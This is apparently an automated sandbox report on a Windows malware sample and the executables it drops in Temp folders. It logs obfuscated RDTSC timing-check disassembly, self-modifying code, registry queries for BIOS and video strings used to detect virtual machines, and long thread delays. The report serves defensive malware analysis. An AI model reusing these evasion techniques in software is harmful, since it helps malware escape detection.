Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B019B second address: 49B01FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 pushfd 0x00000007 jmp 00007F81E8BCBB6Bh 0x0000000c add ax, 6F2Eh 0x00000011 jmp 00007F81E8BCBB79h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, edi 0x0000001b pushad 0x0000001c jmp 00007F81E8BCBB73h 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov di, cx 0x00000029 jmp 00007F81E8BCBB6Eh 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B01FB second address: 49B023D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F81E8FD2F7Bh 0x00000013 sbb eax, 0022074Eh 0x00000019 jmp 00007F81E8FD2F89h 0x0000001e popfd 0x0000001f mov ah, EFh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B023D second address: 49B0243 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0243 second address: 49B02F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007F81E8FD2F80h 0x00000012 je 00007F825B54131Ch 0x00000018 jmp 00007F81E8FD2F80h 0x0000001d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000024 pushad 0x00000025 jmp 00007F81E8FD2F7Eh 0x0000002a pushfd 0x0000002b jmp 00007F81E8FD2F82h 0x00000030 add cl, FFFFFFB8h 0x00000033 jmp 00007F81E8FD2F7Bh 0x00000038 popfd 0x00000039 popad 0x0000003a je 00007F825B5412E3h 0x00000040 jmp 00007F81E8FD2F86h 0x00000045 mov edx, dword ptr [esi+44h] 0x00000048 jmp 00007F81E8FD2F80h 0x0000004d or edx, dword ptr [ebp+0Ch] 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02F6 second address: 49B02FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02FA second address: 49B0300 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0300 second address: 49B033F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 movzx esi, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test edx, 61000000h 0x00000011 jmp 00007F81E8BCBB79h 0x00000016 jne 00007F825B139EC4h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F81E8BCBB6Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A072B second address: 49A07A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov di, 7BD2h 0x0000000f pushfd 0x00000010 jmp 00007F81E8FD2F83h 0x00000015 and cx, EFCEh 0x0000001a jmp 00007F81E8FD2F89h 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 mov bx, si 0x00000026 mov cx, B0CFh 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F81E8FD2F81h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A07A1 second address: 49A07A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A07A7 second address: 49A0803 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F81E8FD2F7Bh 0x00000017 or ax, F7EEh 0x0000001c jmp 00007F81E8FD2F89h 0x00000021 popfd 0x00000022 call 00007F81E8FD2F80h 0x00000027 pop ecx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0803 second address: 49A0831 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F81E8BCBB77h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0831 second address: 49A087D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F81E8FD2F7Fh 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F81E8FD2F89h 0x0000000f jmp 00007F81E8FD2F7Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F81E8FD2F7Bh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A087D second address: 49A089A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A089A second address: 49A08D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F81E8FD2F7Eh 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F81E8FD2F87h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A08D8 second address: 49A08DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A08DE second address: 49A08E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A08E2 second address: 49A0966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F81E8BCBB6Eh 0x0000000e xchg eax, esi 0x0000000f jmp 00007F81E8BCBB70h 0x00000014 mov esi, dword ptr [ebp+08h] 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F81E8BCBB6Eh 0x0000001e and eax, 6A6FF338h 0x00000024 jmp 00007F81E8BCBB6Bh 0x00000029 popfd 0x0000002a mov ebx, esi 0x0000002c popad 0x0000002d sub ebx, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov si, 1F03h 0x00000036 pushfd 0x00000037 jmp 00007F81E8BCBB78h 0x0000003c or cx, 6CC8h 0x00000041 jmp 00007F81E8BCBB6Bh 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0966 second address: 49A097E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F81E8FD2F84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A097E second address: 49A0982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0982 second address: 49A09EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b mov ax, dx 0x0000000e mov dx, 0B6Ch 0x00000012 popad 0x00000013 je 00007F825B54896Fh 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F81E8FD2F81h 0x00000020 or esi, 66ACA746h 0x00000026 jmp 00007F81E8FD2F81h 0x0000002b popfd 0x0000002c mov bx, si 0x0000002f popad 0x00000030 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F81E8FD2F89h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A09EC second address: 49A0A27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b pushad 0x0000000c movzx eax, dx 0x0000000f pushad 0x00000010 jmp 00007F81E8BCBB6Fh 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 je 00007F825B1414EEh 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov edx, ecx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A27 second address: 49A0A67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FA6968h], 00000002h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F81E8FD2F88h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A67 second address: 49A0A76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A76 second address: 49A0A7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A7C second address: 49A0A80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A80 second address: 49A0AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F825B5488A4h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F81E8FD2F88h 0x00000017 adc al, FFFFFFF8h 0x0000001a jmp 00007F81E8FD2F7Bh 0x0000001f popfd 0x00000020 call 00007F81E8FD2F88h 0x00000025 pop ecx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0AD3 second address: 49A0B03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F81E8BCBB77h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B03 second address: 49A0BBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F81E8FD2F7Fh 0x00000008 pushfd 0x00000009 jmp 00007F81E8FD2F88h 0x0000000e jmp 00007F81E8FD2F85h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F81E8FD2F7Ch 0x0000001f and eax, 1264ABA8h 0x00000025 jmp 00007F81E8FD2F7Bh 0x0000002a popfd 0x0000002b jmp 00007F81E8FD2F88h 0x00000030 popad 0x00000031 push eax 0x00000032 pushad 0x00000033 push edx 0x00000034 mov dl, ch 0x00000036 pop edx 0x00000037 popad 0x00000038 xchg eax, ebx 0x00000039 jmp 00007F81E8FD2F80h 0x0000003e xchg eax, ebx 0x0000003f jmp 00007F81E8FD2F80h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 jmp 00007F81E8FD2F7Ch 0x0000004d mov bl, cl 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0BBD second address: 49A0BE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F81E8BCBB77h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0BE7 second address: 49A0BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, F3h 0x00000005 movzx esi, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+14h] 0x0000000e pushad 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0BFB second address: 49A0C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 mov bx, 67D2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0C09 second address: 49B0C1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B097F second address: 49B0983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0983 second address: 49B0989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0989 second address: 49B09A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F81E8BCBB75h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B09A2 second address: 49B09A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B09A6 second address: 49B09CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007F81E8BCBB73h 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B09CC second address: 49B09D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B09D0 second address: 49B09D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30663 second address: 4A3067E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3067E second address: 4A30696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F81E8BCBB74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30696 second address: 4A306C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F81E8FD2F7Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F81E8FD2F80h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A306C7 second address: 4A306CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A306CC second address: 4A306F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 7FC5027Bh 0x00000008 jmp 00007F81E8FD2F80h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 mov eax, edx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20A1B second address: 4A20A5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F81E8BCBB75h 0x0000000b sbb ch, FFFFFFE6h 0x0000000e jmp 00007F81E8BCBB71h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F81E8BCBB6Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2088D second address: 4A20891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20891 second address: 4A20895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20895 second address: 4A2089B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2089B second address: 4A208C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F81E8BCBB6Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A208C8 second address: 4A20907 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F81E8FD2F7Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F81E8FD2F87h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20907 second address: 4A2090D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2090D second address: 4A20911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0124 second address: 49C0149 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F81E8BCBB6Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0149 second address: 49C016D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 2242h 0x00000007 jmp 00007F81E8FD2F83h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C016D second address: 49C0171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0171 second address: 49C0175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0175 second address: 49C017B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20D9F second address: 4A20DA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20DA5 second address: 4A20DCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b movzx eax, al 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F81E8BCBB6Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20DCA second address: 4A20DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD01F second address: FCD025 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD025 second address: FCD02A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD1DA second address: FCD1DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD3F9 second address: FCD3FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD3FD second address: FCD409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD409 second address: FCD40F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D08A3 second address: 49D08F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov esi, edx 0x0000000d jmp 00007F81E8BCBB73h 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 pushad 0x00000016 mov ecx, 236754B1h 0x0000001b jmp 00007F81E8BCBB6Eh 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 movzx eax, bx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D08F4 second address: 49D096F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F81E8FD2F7Dh 0x00000008 sub esi, 60F92EF6h 0x0000000e jmp 00007F81E8FD2F81h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a jmp 00007F81E8FD2F7Ch 0x0000001f mov cx, 9A71h 0x00000023 popad 0x00000024 push FFFFFFFEh 0x00000026 jmp 00007F81E8FD2F7Ch 0x0000002b call 00007F81E8FD2F79h 0x00000030 jmp 00007F81E8FD2F80h 0x00000035 push eax 0x00000036 jmp 00007F81E8FD2F7Bh 0x0000003b mov eax, dword ptr [esp+04h] 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FC03CE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FBEE0E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1049630 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7903CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 78EE0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 819630 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Special instruction interceptor: First address: D7179D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Special instruction interceptor: First address: D71870 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Special instruction interceptor: First address: F3D000 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Special instruction interceptor: First address: F9A350 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A202A0 rdtsc

0_2_04A202A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 934	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 407	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 843	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1083	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 867	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1079	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 855	Jump to behavior
